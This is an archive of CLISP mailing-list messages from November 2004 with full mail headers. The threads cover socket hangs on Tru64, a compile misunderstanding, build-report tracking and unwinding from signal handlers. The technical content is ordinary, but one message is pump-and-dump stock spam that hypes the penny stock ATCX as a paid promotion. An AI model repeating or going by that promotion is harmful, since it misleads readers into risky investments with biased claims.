details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] [Tru64] socket problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 26 08:05:01 2004 X-Original-Date: Sat, 27 Nov 2004 00:03:05 +0800 Hi, I'm trying to use clisp on a Tru64 (DEC Alpha) system, but I have some problem with sockets. The same program works OK on a Windows version. Basically, my program does the following: - open a socket with :buffered t and :element-type '(unsigned-byte 8) - loop: - write-sequence (± 500-byte sequence) - finish-output - read-sequence But after sending the sequence (which is correctly received and replied by the server), my program hangs in the read-sequence. I have tried with read-byte, but it also hangs, as well as socket-status! I have to press Control-c to get back the listerner. When I use :buffered nil, sometimes, write-sequence/read-sequence work correctly, but only the first of the loop, then after, it breaks (ECONNRESET 54 "Connection reset by peer", ...). Georges -- Georges Ko gko@gko.net 2004-11-26 If you are not in my white list, add [m2gko] in the subject of your mail. From don-test-204@isis.cs3-inc.com Fri Nov 26 09:00:16 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CXjSB-00087l-NF for clisp-list@lists.sourceforge.net; Fri, 26 Nov 2004 09:00:15 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CXjSB-0008Lx-01 for clisp-list@lists.sourceforge.net; Fri, 26 Nov 2004 09:00:15 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id iAQGq5U28056; Fri, 26 Nov 2004 08:52:05 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-test-204 using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-test-204@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16807.24373.132687.666103@isis.cs3-inc.com> To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] problem with compile in 2.33.1 In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A030264C20C@S4DE8PSAAGS.blf.telekom.de> References: <5F9130612D07074EB0A0CE7E69FD7A030264C20C@S4DE8PSAAGS.blf.telekom.de> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: -3.9 (---) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FROM_ENDS_IN_NUMS From: ends in numbers -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 26 09:01:08 2004 X-Original-Date: Fri, 26 Nov 2004 08:52:05 -0800 I'm sorry that you spent time on this. I did announce to the list that I had figured out the problem with this test case. I was hoping that would at least prevent people from wasting time on it after the announcement. Hoehle, Joerg-Cyril writes: > solved: > >I traced compile only in order to show that > >(2) there was no change of state between the two compiles, other > >than changes caused by the compile itself. > Wrong: > >[3]> (defun relationp-err (x) > > (or (loop for r in *relation-list* thereis (eql x (foo-bar r))) > > (car (push (make-foo :bar x) *relation-list*)))) > thereis returns T after the initial call. > As a result, the LOAD-TIME-VALUE changes. > > Maybe you meant something like > o thereis (if (eql x (foo-bar r)) x|r) > o when (eql x (foo-bar r)) return x|r > > Regards, > Jorg From sds@gnu.org Fri Nov 26 09:39:21 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CXk41-0006kN-5j for clisp-list@lists.sourceforge.net; Fri, 26 Nov 2004 09:39:21 -0800 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CXk40-0006On-EO for clisp-list@lists.sourceforge.net; Fri, 26 Nov 2004 09:39:21 -0800 Received: from 65-78-14-157.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.14.157] helo=WINSTEINGOLDLAP) by smtp04.mrf.mail.rcn.net with esmtp (Exim 3.35 #7) id 1CXk3v-00028L-00; Fri, 26 Nov 2004 12:39:15 -0500 To: clisp-list@lists.sourceforge.net, Georges Ko Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Georges Ko's message of "Sat, 27 Nov 2004 00:03:05 +0800") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Georges Ko , Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Re: [Tru64] socket problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 26 16:40:26 2004 X-Original-Date: Fri, 26 Nov 2004 12:39:14 -0500 > * Georges Ko [2004-11-27 00:03:05 +0800]: > > I'm trying to use clisp on a Tru64 (DEC Alpha) system, but I have some > problem with sockets. The same program works OK on a Windows version. > > Basically, my program does the following: > > - open a socket with :buffered t and :element-type > '(unsigned-byte 8) > - loop: > - write-sequence (=C2=B1 500-byte sequence) > - finish-output > - read-sequence > > But after sending the sequence (which is correctly received and > replied by the server), my program hangs in the read-sequence. I > have tried with read-byte, but it also hangs, as well as > socket-status! I have to press Control-c to get back the listerner. > > When I use :buffered nil, sometimes, write-sequence/read-sequence > work correctly, but only the first of the loop, then after, it > breaks (ECONNRESET 54 "Connection reset by peer", ...). you did not specify the CLISP version you are using. Bruno did some significant improvements in this area in the CLISP CVS, so maybe you could try CVS head? thanks. --=20 Sam Steingold (http://www.podval.org/~sds) running w2k Any connection between your reality and mine is purely coincidental. From lisp-clisp-list@m.gmane.org Fri Nov 26 11:18:05 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CXlbM-0005Fe-6T for clisp-list@lists.sourceforge.net; Fri, 26 Nov 2004 11:17:52 -0800 Received: from main.gmane.org ([80.91.229.2]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CXlbL-0005y0-2q for clisp-list@lists.sourceforge.net; Fri, 26 Nov 2004 11:17:51 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1CXlbJ-0000vN-00 for ; Fri, 26 Nov 2004 20:17:49 +0100 Received: from 210-85-12-245.cm.dynamic.apol.com.tw ([210.85.12.245]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 26 Nov 2004 20:17:49 +0100 Received: from gko by 210-85-12-245.cm.dynamic.apol.com.tw with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 26 Nov 2004 20:17:49 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Georges Ko Organization: gko.net Lines: 13 Message-ID: References: Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 210-85-12-245.cm.dynamic.apol.com.tw User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (windows-nt) Hamster/2.0.0.1 Cancel-Lock: sha1:4GfDufJmNkIUwj1OYzCkeu8TScA= X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Re: [Tru64] socket problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 26 16:51:02 2004 X-Original-Date: Sat, 27 Nov 2004 03:17:24 +0800 Georges Ko writes: > I'm trying to use clisp on a Tru64 (DEC Alpha) system, but I have > some problem with sockets. The same program works OK on a Windows > version. The clisp version on Tru64 (OSF1 V5.1) is 2.33.2 compiled out of the box. I'll try with the CVS version. Georges -- Georges Ko gko@gko.net 2004-11-27 If you are not in my white list, add [m2gko] in the subject of your mail. From bruno@clisp.org Fri Nov 26 12:27:29 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CXmgj-0006hg-Kb for clisp-list@lists.sourceforge.net; Fri, 26 Nov 2004 12:27:29 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CXmgi-0007WL-OI for clisp-list@lists.sourceforge.net; Fri, 26 Nov 2004 12:27:29 -0800 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.13.1/8.13.0) with ESMTP id iAQKRJvs015686; Fri, 26 Nov 2004 21:27:19 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.122]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id iAQKRDVZ008496; Fri, 26 Nov 2004 21:27:13 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id A11062BA80; Fri, 26 Nov 2004 20:26:43 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net, Georges Ko User-Agent: KMail/1.5 References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Message-Id: <200411262126.42609.bruno@clisp.org> X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Re: [Tru64] socket problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 26 16:56:49 2004 X-Original-Date: Fri, 26 Nov 2004 21:26:42 +0100 > > Basically, my program does the following: > > > > - open a socket with :buffered t and :element-type > > '(unsigned-byte 8) > > - loop: > > - write-sequence (=C2=B1 500-byte sequence) > > - finish-output > > - read-sequence > > > > But after sending the sequence (which is correctly received and > > replied by the server), my program hangs in the read-sequence. When you call read-sequence, you pass it a number of elements to read. If the program on the other end of the socket has not yet produced so many bytes, read-sequence will just wait. In CLISP CVS, the READ-BYTE-SEQUENCE function has additional arguments :NO-HANG and :INTERACTIVE that influence the behaviour in such a case. In older CLISP versions, opening he socket with :buffered nil made a difference. > > breaks (ECONNRESET 54 "Connection reset by peer", ...). This error means that the program on the other end has closed the connectio= n. Bruno From lisp-clisp-list@m.gmane.org Sat Nov 27 04:17:32 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CY1W8-0002VG-6s for clisp-list@lists.sourceforge.net; Sat, 27 Nov 2004 04:17:32 -0800 Received: from main.gmane.org ([80.91.229.2]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CY1W7-0005dG-7O for clisp-list@lists.sourceforge.net; Sat, 27 Nov 2004 04:17:32 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1CY1W6-0004So-00 for ; Sat, 27 Nov 2004 13:17:30 +0100 Received: from 210-85-12-245.cm.dynamic.apol.com.tw ([210.85.12.245]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 27 Nov 2004 13:17:30 +0100 Received: from gko by 210-85-12-245.cm.dynamic.apol.com.tw with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 27 Nov 2004 13:17:30 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Georges Ko Organization: gko.net Lines: 27 Message-ID: References: <200411262126.42609.bruno@clisp.org> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 210-85-12-245.cm.dynamic.apol.com.tw User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (windows-nt) Hamster/2.0.0.1 Cancel-Lock: sha1:WjMIQZPNuT5WY5+XD92eAF/NnJg= X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Re: [Tru64] socket problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Nov 27 09:01:56 2004 X-Original-Date: Sat, 27 Nov 2004 20:17:16 +0800 Bruno Haible writes: >> > But after sending the sequence (which is correctly received and >> > replied by the server), my program hangs in the read-sequence. > > When you call read-sequence, you pass it a number of elements to read. > If the program on the other end of the socket has not yet produced so many > bytes, read-sequence will just wait. The problem is that a (read-byte stream) and even a (socket-status stream) hang (after sending the sequence)... > In CLISP CVS, the READ-BYTE-SEQUENCE function has additional arguments > :NO-HANG and :INTERACTIVE that influence the behaviour in such a case. > In older CLISP versions, opening he socket with :buffered nil made > a difference. The socket part now works with the CVS version! Thanks for the help! Regards, Georges -- Georges Ko gko@gko.net 2004-11-27 If you are not in my white list, add [m2gko] in the subject of your mail. From don-test-204@isis.cs3-inc.com Sat Nov 27 09:43:57 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CY6c0-0001U2-J0 for clisp-list@lists.sourceforge.net; Sat, 27 Nov 2004 09:43:56 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CY6bz-0007o2-Tm for clisp-list@lists.sourceforge.net; Sat, 27 Nov 2004 09:43:56 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id iARHZa903528; Sat, 27 Nov 2004 09:35:36 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-test-204 using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-test-204@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16808.47848.84989.762594@isis.cs3-inc.com> To: To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: versions of OS for which various versions of clisp build In-Reply-To: <200411270406.iAR46s731616@isis.cs3-inc.com> References: <200411270406.iAR46s731616@isis.cs3-inc.com> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: -3.9 (---) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FROM_ENDS_IN_NUMS From: ends in numbers -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Nov 27 09:44:31 2004 X-Original-Date: Sat, 27 Nov 2004 09:35:36 -0800 I believe adding entries to that list is the only reasonable thing In that case I'd request that future entries in that list at least include the clisp version being built. to do. The rest sounds like full time jobs (maintaining DB, build old versions etc.), nobody has time for that. If there's a web interface to a DB that simply collects data from people who volunteer it then there should be practically no work involved. It's important for practical applications that some known version of CLISP still works with old OS. I agree that's useful, but further information is also useful. Generally you want to know the latest clisp version that you can build on a given OS version, since you're using some OS version that you don't want to change, and you'd like to use the most up-to-date clisp version you can. As I mentioned, my case was the opposite. I knew I wanted a particular clisp version and it would have been worth while to know which machines were capable of building it. But the mailing lists archives are equally valuable, because they give context and history, failure and success stories. That tends to focus on the failures. Also you have to read a lot of stuff in order to find out the answer. The point of organizing the data is to be able to find the answer with minimal effort. A possible intermediate point between the database and what we have now would be a new mailing list specifically for build reports, where people are encouraged to fill out a form. From pjb@informatimago.com Mon Nov 29 02:26:45 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CYijx-0002yV-LC for clisp-list@lists.sourceforge.net; Mon, 29 Nov 2004 02:26:41 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CYijw-0004mS-Ez for clisp-list@lists.sourceforge.net; Mon, 29 Nov 2004 02:26:41 -0800 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 31698586EA; Mon, 29 Nov 2004 11:26:12 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 292A74F86; Mon, 29 Nov 2004 11:26:11 +0100 (CET) To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en Reply-To: Message-Id: <20041129102611.292A74F86@thalassa.informatimago.com> X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Subject: [clisp-list] unwinding from a signal-hanldler Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Nov 29 02:27:04 2004 X-Original-Date: Mon, 29 Nov 2004 11:26:11 +0100 (CET) Hello, It seems that unwinding from a signal handler does not exit the signal handler: [625]> (loop repeat 2 initially (print (linux:|getpid|)) do (linux:set-signal-handler linux:SIGUSR1 (lambda (signal) (princ " Got signal ") (throw :hot-potatoe signal))) (catch :hot-potatoe (princ " Looping ") (loop do (sleep 5) (princ "."))) (princ " Caught ")) 11740 Looping . Got signal Caught Looping ....User defined signal 2 ^ ^^^ ^ kill -USR1 11740 |___________________________||| | kill -USR2 11740 ________________________________| Is there a way to do it? If not, shouldn't the signal handler code be modified to exit the signal handling before unwinding? -- __Pascal Bourguignon__ http://www.informatimago.com/ The world will now reboot; don't bother saving your artefacts. From blakegl@santander.cl Tue Nov 30 06:43:10 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CZ9Di-0000zE-0I for clisp-list@lists.sourceforge.net; Tue, 30 Nov 2004 06:43:10 -0800 Received: from [200.162.206.253] (helo=forum.com.mk ident=Gentle) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.41) id 1CZ9Dd-0008GD-84 for clisp-list@lists.sourceforge.net; Tue, 30 Nov 2004 06:43:10 -0800 Received: from 7.230.130.33 by smtp.santander.cl; Tue, 30 Nov 2004 06:40:08 +0000 Message-ID: <232101c4d6a7$9028893a$5880f5a3@forum.com.mk> From: "Betsy Lake" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: -1.5 (-) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.7 US_DOLLARS_3 BODY: Mentions millions of $ ($NN,NNN,NNN.NN) 2.7 NOT_ADVISOR BODY: Not registered investment advisor -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Hey Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 30 06:44:01 2004 X-Original-Date: Tue, 30 Nov 2004 10:40:00 +0400 Look at this stock information that I just received... Auto Centrix, Inc. OTC: ATCX Auto Remarketing Company: Acquisition Expected to Add $4 Million in Sales! Looking for more Acquisitions. (Source: News Release: 9/27/04) Current Price- .26 An Absolutely Massive PR Campaign is Underway and The Trading Sessions Moving Forward Could be Very Exciting for ATCX. Did your Portfolio Turn a Huge Profit in the Last 2 months? You Did if You had the Scoop on the Following Stock: (A Lot of These Small Stocks Have Been Flying). SGNC: Exploded from .055 on October 1st to .40 November 18th. Up over 625%. These are the types of gains you can find with small unknown companies and That's Why Investors are Trading Them. Some of them put a lot of money in investors pockets pretty quickly. You may agree it is hard to get these types of gains from large cap stocks. As Always, Timing is the key.. About Auto Centrix, Inc. (ATCX) Auto Centrix Inc.'s portfolio of innovative products and services focuses on the unique needs of the vehicle-remarketing sector of the automotive industry. We provide technology solutions that enable wholesalers, lease and rental companies, automotive importers, dealerships and manufacturers, to more efficiently and effectively do business. We are committed to enhancing shareholder value through the continued development of technology solutions and the long term growth of our affiliate companies. AFFILIATE COMPANY: Dominion Auctions DOMINION AUTO AUCTIONS is a wholly owned subsidiary company of Auto Centrix, Inc. with its auction facilities headquartered in Woodside Industrial Park, Dartmouth, Nova Scotia. Dominion Auto Auctions conducts a public auto auction every Saturday. We are the only weekly auto auction in Nova Scotia open to the public. Our primary business is the sale of used vehicles and equipment at our weekly automobile auction. We are also equipped to conduct auctions anywhere in Nova Scotia. (SOURCE: COMPANY WEBSITE) ______________________________________ Recent News Announcement- *11/22/04 Auto Centrix, Inc. Announces the Closing of a $700,000 USD Private Offering Here is An excerpt From the September 27th News Release: Since the closing of the exchange agreement with Teleon and Auto Centrix, Inc. the company has been executing its new business plan reports CEO David Highmore. "I would like to bring the current shareholders up to date with our successes. We have successfully gone public with our exchange agreement with Teleon and the result will increase our ability to finance our future growth. In addition we will have new access to the United States market and increased visibility to the Canadian market." Auto Centrix Inc. acquired 100% of Dominion Auto Auction Group Inc., which offers weekly public and wholesale auctions of pre-owned passenger vehicles, heavy and light duty trucks, marine and recreational vehicles, as well as heavy equipment. The acquisition will add approximately $4,000,000 (USD) in sales to ACI and provide a valuable platform from which to launch ACI's suite of technological products. "As we are building our platform in the coming months," stated Highmore, "we have targeted a number of additional acquisitions and synergistic technologies. We are committed to building Auto Centrix, Inc. into a major player within the auto re-marketing industry." Auto Centrix, Inc. focuses on various technological mediums which facilitate the purchase, sale and re-sale of vehicles, thereby lowering the costs, expanding the geography, and expediting the sale processes, while securing the integrity of the vehicle information. The products and services have been designed with the flexibility and scalability to interface with their clients existing systems. ________________________________________ Do you see where we're going with this? Small Company with a Big Agenda. Sound familiar? It has been the recipe for success for many stocks. Consider Adding Autocentrix to your Portfolio Today! Many of these stocks have really been performing for investors lately. Good Luck and Succesful Trading! Watch This Stock Trade Tuesday. Information within this email contains "forward looking statements" within the meaning of Section 27A of the Securities Act of 1933 and Section 21B of the Securities Exchange Act of 1934. Any statements that express or involve discussions with respect to predictions, expectations, beliefs, plans, projections, objectives, goals, assumptions or future events or performance are not statements of historical fact and may be "forward looking statements."Forward looking statements are based on expectations, estimates and projections at the time the statements are made that involve a number of risks and uncertainties which could cause actual results or events to differ materially from those presently anticipated. Forward looking statements in this action may be identified through the use of words such as "projects", "foresee", "expects", "will," "anticipates," "estimates," "believes," "understands" or that by statements indicating certain actions "may," "could," or "might" occur. As with many microcap stocks, today's company has additional risk factors worth noting. Auto Centrix, Inc. is not a reporting company registered under the Securities Act of 1934 and hence there is limited information available about the company. Other factors include a limited operating history,risks and uncertainties, including, but not limited to, the impact of competitive products and pricing, product demand and market acceptance, new product development, reliance on key strategic alliances, availability of raw materials, the regulatory environment, fluctuations in operating results and other risks inherent to their industry. The company is going to need financing. If that financing does not occur, the company may not be able to continue as a going concern in which case you could lose your entire investment. The publisher of this newsletter does not represent that the information contained in this message states all material facts or does not omit a material fact necessary to make the statements therein not misleading.All information provided within this email pertaining to investing, stocks, securities must be understood as information provided and not investment advice. The publisher of this newsletter advises all readers and subscribers to seek advice from a registered professional securities representative before deciding to trade in stocks featured within this email. None of the material within this report shall be construed as any kind of investment advice or solicitation.Many of these companies are on the verge of bankruptcy. You can lose all your money by investing in this stock. The publisher of this newsletter is not a registered investment advisor. Subscribers should not view information herein as legal, tax, accounting or investment advice. Any reference to past performance(s) of companies are specially selected to be referenced based on the favorable performance of these companies. You would need perfect timing to acheive the results in the examples given. There can be no assurance of that happening. Remember, as always, past performance is never indicative of future results and a thorough due diligence effort, including a review of a company's filings when available, should be completed prior to investing. The publisher of this newsletter has no relationship with SGNC. In compliance with the Securities Act of 1933, Section17(b),The publisher of this newsletter discloses the receipt of twenty five thousand dollars from a third party, not an officer, director or affiliate shareholder for the circulation of this report. Be aware of an inherent conflict of interest resulting from such compensation due to the fact that this is a paid advertisement and is not without bias.The party that paid us has a position in the stock they will sell at anytime without notice. This could have a negative impact on the price of the stock. All factual information in this report was gathered from public sources, including but not limited to Company Websites and Company Press Releases. The publisher of this newsletter believes this information to be reliable but can make no guarantee as to its accuracy or completeness. Use of the material within this email constitutes your acceptance of these terms. From fw@deneb.enyo.de Tue Nov 30 08:01:40 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CZARg-0007h1-2N for clisp-list@lists.sourceforge.net; Tue, 30 Nov 2004 08:01:40 -0800 Received: from albireo.enyo.de ([212.9.189.169]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:RC4-SHA:128) (Exim 4.41) id 1CZARf-0003md-Bg for clisp-list@lists.sourceforge.net; Tue, 30 